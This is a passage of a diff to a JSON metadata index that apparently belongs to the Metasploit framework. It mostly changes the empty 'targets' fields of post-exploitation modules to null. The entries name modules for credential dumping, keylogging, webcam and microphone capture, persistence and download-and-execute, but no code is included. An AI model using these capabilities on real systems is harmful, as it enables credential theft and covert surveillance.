"mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/busybox/wget_exec.rb", "is_install_path": true, @@ -99717,9 +96557,7 @@ "platform": "Linux", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/linux/dos/xen_420_dos.rb", "is_install_path": true, @@ -99743,9 +96581,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-06 00:46:09 +0000", "path": "/modules/post/linux/gather/checkcontainer.rb", "is_install_path": true, @@ -99769,9 +96605,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-04 19:12:27 +0000", "path": "/modules/post/linux/gather/checkvm.rb", "is_install_path": true, @@ -99795,9 +96629,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/gather/ecryptfs_creds.rb", "is_install_path": true, @@ -99821,9 +96653,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/gather/enum_configs.rb", "is_install_path": true, @@ -99848,9 +96678,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-30 15:32:04 +0000", "path": "/modules/post/linux/gather/enum_network.rb", "is_install_path": true, @@ -99874,9 +96702,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-04-29 06:52:47 +0000", "path": "/modules/post/linux/gather/enum_protections.rb", "is_install_path": true, @@ -99900,9 +96726,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/gather/enum_psk.rb", "is_install_path": true, @@ -99930,9 +96754,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/gather/enum_system.rb", "is_install_path": true, @@ -99956,9 +96778,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/gather/enum_users_history.rb", "is_install_path": true, @@ -99982,9 +96802,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/gather/enum_xchat.rb", "is_install_path": true, @@ -100008,9 +96826,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/gather/gnome_commander_creds.rb", "is_install_path": true, @@ -100034,9 +96850,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/gather/gnome_keyring_dump.rb", "is_install_path": true, @@ -100060,9 +96874,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-16 00:56:32 +0000", "path": "/modules/post/linux/gather/hashdump.rb", "is_install_path": true, @@ -100086,9 +96898,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-29 22:34:38 +0000", "path": "/modules/post/linux/gather/mount_cifs_creds.rb", "is_install_path": true, @@ -100113,9 +96923,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/gather/openvpn_credentials.rb", "is_install_path": true, @@ -100139,9 +96947,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-12 17:11:29 +0000", "path": "/modules/post/linux/gather/pptpd_chap_secrets.rb", "is_install_path": true, @@ -100165,9 +96971,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-06-07 20:08:23 +0000", "path": "/modules/post/linux/gather/tor_hiddenservices.rb", "is_install_path": true, @@ -100191,9 +96995,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/manage/download_exec.rb", "is_install_path": true, @@ -100217,9 +97019,7 @@ "platform": "Linux", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/linux/manage/sshkey_persistence.rb", "is_install_path": true, @@ -100244,9 +97044,7 @@ "platform": "Unix", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/escalate/aws_create_iam_user.rb", "is_install_path": true, @@ -100256,7 +97054,7 @@ "name": "CUPS 1.6.1 Root File Read", "full_name": "post/multi/escalate/cups_root_file_read", "rank": 300, - "disclosure_date": "2012-11-20 00:00:00 -0600", + "disclosure_date": "2012-11-20", "type": "post", "author": [ "Jann Horn", @@ -100273,9 +97071,7 @@ "platform": "Linux,OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/escalate/cups_root_file_read.rb", "is_install_path": true, @@ -100285,7 +97081,7 @@ "name": "Multi Escalate Metasploit pcap_log Local Privilege Escalation", "full_name": "post/multi/escalate/metasploit_pcaplog", "rank": 0, - "disclosure_date": "2012-07-16 00:00:00 -0500", + "disclosure_date": "2012-07-16", "type": "post", "author": [ "0a29406d9794e4f9b30b3c5d6702c708" @@ -100301,9 +97097,7 @@ "platform": "BSD,Linux,Unix", "arch": "", "rport": "2940", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-30 15:45:52 +0000", "path": "/modules/post/multi/escalate/metasploit_pcaplog.rb", "is_install_path": true, @@ -100328,9 +97122,7 @@ "platform": "OSX,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/apple_ios_backup.rb", "is_install_path": true, @@ -100354,9 +97146,7 @@ "platform": "Unix", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/aws_ec2_instance_metadata.rb", "is_install_path": true, @@ -100381,9 +97171,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/aws_keys.rb", "is_install_path": true, @@ -100407,9 +97195,7 @@ "platform": "Linux,OSX,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/check_malware.rb", "is_install_path": true, @@ -100433,9 +97219,7 @@ "platform": "Linux,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/dbvis_enum.rb", "is_install_path": true, @@ -100459,9 +97243,7 @@ "platform": "BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/dns_bruteforce.rb", "is_install_path": true, @@ -100485,9 +97267,7 @@ "platform": "BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/dns_reverse_lookup.rb", "is_install_path": true, @@ -100511,9 +97291,7 @@ "platform": "BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 19:38:43 +0000", "path": "/modules/post/multi/gather/dns_srv_lookup.rb", "is_install_path": true, @@ -100537,9 +97315,7 @@ "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-25 18:15:24 +0000", "path": "/modules/post/multi/gather/docker_creds.rb", "is_install_path": true, @@ -100563,9 +97339,7 @@ "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-30 15:45:52 +0000", "path": "/modules/post/multi/gather/enum_vbox.rb", "is_install_path": true, @@ -100590,9 +97364,7 @@ "platform": "Linux,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/env.rb", "is_install_path": true, @@ -100616,9 +97388,7 @@ "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/fetchmailrc_creds.rb", "is_install_path": true, @@ -100643,9 +97413,7 @@ "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/filezilla_client_cred.rb", "is_install_path": true, @@ -100669,9 +97437,7 @@ "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/find_vmx.rb", "is_install_path": true, @@ -100697,9 +97463,7 @@ "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/firefox_creds.rb", "is_install_path": true, @@ -100723,9 +97487,7 @@ "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-28 10:16:59 +0000", "path": "/modules/post/multi/gather/gpg_creds.rb", "is_install_path": true, @@ -100749,9 +97511,7 @@ "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/irssi_creds.rb", "is_install_path": true, @@ -100775,9 +97535,7 @@ "platform": "Linux,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/jboss_gather.rb", "is_install_path": true, @@ -100801,9 +97559,7 @@ "platform": "Linux,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-05 14:33:51 +0000", "path": "/modules/post/multi/gather/jenkins_gather.rb", "is_install_path": true, @@ -100829,9 +97585,7 @@ "platform": "Linux,OSX,Unix,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-30 15:45:52 +0000", "path": "/modules/post/multi/gather/lastpass_creds.rb", "is_install_path": true, @@ -100855,9 +97609,7 @@ "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 17:52:11 +0000", "path": "/modules/post/multi/gather/maven_creds.rb", "is_install_path": true, @@ -100881,9 +97633,7 @@ "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/multi_command.rb", "is_install_path": true, @@ -100907,9 +97657,7 @@ "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/netrc_creds.rb", "is_install_path": true, @@ -100933,9 +97681,7 @@ "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/pgpass_creds.rb", "is_install_path": true, @@ -100960,9 +97706,7 @@ "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/pidgin_cred.rb", "is_install_path": true, @@ -100986,9 +97730,7 @@ "platform": "BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/ping_sweep.rb", "is_install_path": true, @@ -101012,9 +97754,7 @@ "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-30 15:45:52 +0000", "path": "/modules/post/multi/gather/remmina_creds.rb", "is_install_path": true, @@ -101038,9 +97778,7 @@ "platform": "Python,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/resolve_hosts.rb", "is_install_path": true, @@ -101064,9 +97802,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/rsyncd_creds.rb", "is_install_path": true, @@ -101091,9 +97827,7 @@ "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/rubygems_api_key.rb", "is_install_path": true, @@ -101117,9 +97851,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/run_console_rc_file.rb", "is_install_path": true, @@ -101143,9 +97875,7 @@ "platform": "OSX,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/skype_enum.rb", "is_install_path": true, @@ -101169,9 +97899,7 @@ "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/ssh_creds.rb", "is_install_path": true, @@ -101195,9 +97923,7 @@ "platform": "Linux,OSX,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/multi/gather/thunderbird_creds.rb", "is_install_path": true, @@ -101221,9 +97947,7 @@ "platform": "Linux,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/gather/tomcat_gather.rb", "is_install_path": true, @@ -101247,9 +97971,7 @@ "platform": "BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-01 19:49:32 +0000", "path": "/modules/post/multi/gather/wlan_geolocate.rb", "is_install_path": true, @@ -101273,9 +97995,7 @@ "platform": "Linux,OSX,Unix,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/general/close.rb", "is_install_path": true, @@ -101299,9 +98019,7 @@ "platform": "Linux,OSX,Unix,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/general/execute.rb", "is_install_path": true, @@ -101325,9 +98043,7 @@ "platform": "Linux,OSX,Unix", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/general/wall.rb", "is_install_path": true, @@ -101352,9 +98068,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/manage/autoroute.rb", "is_install_path": true, @@ -101378,9 +98092,7 @@ "platform": "Linux,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/manage/dbvis_add_db_admin.rb", "is_install_path": true, @@ -101404,9 +98116,7 @@ "platform": "Linux,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/manage/dbvis_query.rb", "is_install_path": true, @@ -101431,9 +98141,7 @@ "platform": "Linux,OSX,Unix,Windows", "arch": "x86, x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-03 02:18:30 +0000", "path": "/modules/post/multi/manage/hsts_eraser.rb", "is_install_path": true, @@ -101457,9 +98165,7 @@ "platform": "Linux,OSX,Solaris,Unix,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/manage/multi_post.rb", "is_install_path": true, @@ -101483,9 +98189,7 @@ "platform": "Linux,OSX,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-21 16:46:15 +0000", "path": "/modules/post/multi/manage/open.rb", "is_install_path": true, @@ -101509,9 +98213,7 @@ "platform": "Android,Linux,OSX,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-17 16:46:51 +0000", "path": "/modules/post/multi/manage/play_youtube.rb", "is_install_path": true, @@ -101535,9 +98237,7 @@ "platform": "Linux,OSX,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/manage/record_mic.rb", "is_install_path": true, @@ -101561,9 +98261,7 @@ "platform": "Linux,OSX,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-21 16:46:00 +0000", "path": "/modules/post/multi/manage/screensaver.rb", "is_install_path": true, @@ -101587,9 +98285,7 @@ "platform": "Android,Linux,OSX,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/manage/set_wallpaper.rb", "is_install_path": true, @@ -101613,9 +98309,7 @@ "platform": "BSD,Linux,OSX,Solaris,Unix,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-21 02:54:38 +0000", "path": "/modules/post/multi/manage/shell_to_meterpreter.rb", "is_install_path": true, @@ -101640,9 +98334,7 @@ "platform": "AIX,Linux,OSX,Solaris,Unix", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/manage/sudo.rb", "is_install_path": true, @@ -101666,9 +98358,7 @@ "platform": "Linux,OSX,Unix", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-22 13:38:06 +0000", "path": "/modules/post/multi/manage/system_session.rb", "is_install_path": true, @@ -101692,9 +98382,7 @@ "platform": "Linux,OSX,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/manage/upload_exec.rb", "is_install_path": true, @@ -101718,9 +98406,7 @@ "platform": "Linux,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/manage/zip.rb", "is_install_path": true, @@ -101745,9 +98431,7 @@ "platform": "AIX,Android,Apple_iOS,BSD,BSDi,Cisco,Firefox,FreeBSD,HPUX,Hardware,Irix,Java,JavaScript,Juniper,Linux,Mainframe,Multi,NetBSD,Netware,NodeJS,OSX,OpenBSD,PHP,Python,R,Ruby,Solaris,Unix,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-05 04:41:58 +0000", "path": "/modules/post/multi/recon/local_exploit_suggester.rb", "is_install_path": true, @@ -101771,9 +98455,7 @@ "platform": "BSD,Linux,OSX,Solaris,Unix,Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/multi/recon/multiport_egress_traffic.rb", "is_install_path": true, @@ -101797,9 +98479,7 @@ "platform": "BSD,Linux,OSX,Solaris,Unix", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-25 04:20:25 +0000", "path": "/modules/post/multi/recon/sudo_commands.rb", "is_install_path": true, @@ -101823,9 +98503,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/osx/admin/say.rb", "is_install_path": true, @@ -101849,9 +98527,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-04-28 15:56:56 +0000", "path": "/modules/post/osx/capture/keylog_recorder.rb", "is_install_path": true, @@ -101875,9 +98551,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/osx/capture/screen.rb", "is_install_path": true, @@ -101887,7 +98561,7 @@ "name": "Mac OS X APFS Encrypted Volume Password Disclosure", "full_name": "post/osx/gather/apfs_encrypted_volume_passwd", "rank": 300, - "disclosure_date": "2018-03-21 00:00:00 -0500", + "disclosure_date": "2018-03-21", "type": "post", "author": [ "Sarah Edwards", @@ -101903,9 +98577,7 @@ "platform": "OSX", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-04-18 14:22:32 +0000", "path": "/modules/post/osx/gather/apfs_encrypted_volume_passwd.rb", "is_install_path": true, @@ -101929,9 +98601,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-22 22:25:39 +0000", "path": "/modules/post/osx/gather/autologin_password.rb", "is_install_path": true, @@ -101955,9 +98625,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/osx/gather/enum_adium.rb", "is_install_path": true, @@ -101981,9 +98649,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/osx/gather/enum_airport.rb", "is_install_path": true, @@ -102007,9 +98673,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/osx/gather/enum_chicken_vnc_profile.rb", "is_install_path": true, @@ -102033,9 +98697,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/osx/gather/enum_colloquy.rb", "is_install_path": true, @@ -102060,9 +98722,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/osx/gather/enum_keychain.rb", "is_install_path": true, @@ -102086,9 +98746,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/osx/gather/enum_messages.rb", "is_install_path": true, @@ -102112,9 +98770,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-22 22:25:39 +0000", "path": "/modules/post/osx/gather/enum_osx.rb", "is_install_path": true, @@ -102140,9 +98796,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-22 22:25:39 +0000", "path": "/modules/post/osx/gather/hashdump.rb", "is_install_path": true, @@ -102168,9 +98822,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/osx/gather/password_prompt_spoof.rb", "is_install_path": true, @@ -102194,9 +98846,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/osx/gather/safari_lastsession.rb", "is_install_path": true, @@ -102221,9 +98871,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/osx/manage/mount_share.rb", "is_install_path": true, @@ -102247,9 +98895,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/osx/manage/record_mic.rb", "is_install_path": true, @@ -102273,9 +98919,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/osx/manage/vpn.rb", "is_install_path": true, @@ -102299,9 +98943,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/osx/manage/webcam.rb", "is_install_path": true, @@ -102325,9 +98967,7 @@ "platform": "Solaris", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/solaris/gather/checkvm.rb", "is_install_path": true, @@ -102351,9 +98991,7 @@ "platform": "Solaris", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/solaris/gather/enum_packages.rb", "is_install_path": true, @@ -102377,9 +99015,7 @@ "platform": "Solaris", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/solaris/gather/enum_services.rb", "is_install_path": true, @@ -102403,9 +99039,7 @@ "platform": "Solaris", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/solaris/gather/hashdump.rb", "is_install_path": true, @@ -102430,9 +99064,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/capture/keylog_recorder.rb", "is_install_path": true, @@ -102457,9 +99089,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/capture/lockout_keylogger.rb", "is_install_path": true, @@ -102483,9 +99113,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/escalate/droplnk.rb", "is_install_path": true, @@ -102509,9 +99137,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/escalate/getsystem.rb", "is_install_path": true, @@ -102535,9 +99161,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 15:36:41 +0000", "path": "/modules/post/windows/escalate/golden_ticket.rb", "is_install_path": true, @@ -102547,7 +99171,7 @@ "name": "Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation", "full_name": "post/windows/escalate/ms10_073_kbdlayout", "rank": 300, - "disclosure_date": "2010-10-12 00:00:00 -0500", + "disclosure_date": "2010-10-12", "type": "post", "author": [ "Ruben Santamarta", @@ -102566,9 +99190,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/escalate/ms10_073_kbdlayout.rb", "is_install_path": true, @@ -102593,9 +99215,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/escalate/screen_unlock.rb", "is_install_path": true, @@ -102619,9 +99239,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/ad_to_sqlite.rb", "is_install_path": true, @@ -102645,9 +99263,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/arp_scanner.rb", "is_install_path": true, @@ -102672,9 +99288,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/bitcoin_jacker.rb", "is_install_path": true, @@ -102699,9 +99313,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/bitlocker_fvek.rb", "is_install_path": true, @@ -102726,9 +99338,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/cachedump.rb", "is_install_path": true, @@ -102753,9 +99363,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-01-17 16:41:21 +0000", "path": "/modules/post/windows/gather/checkvm.rb", 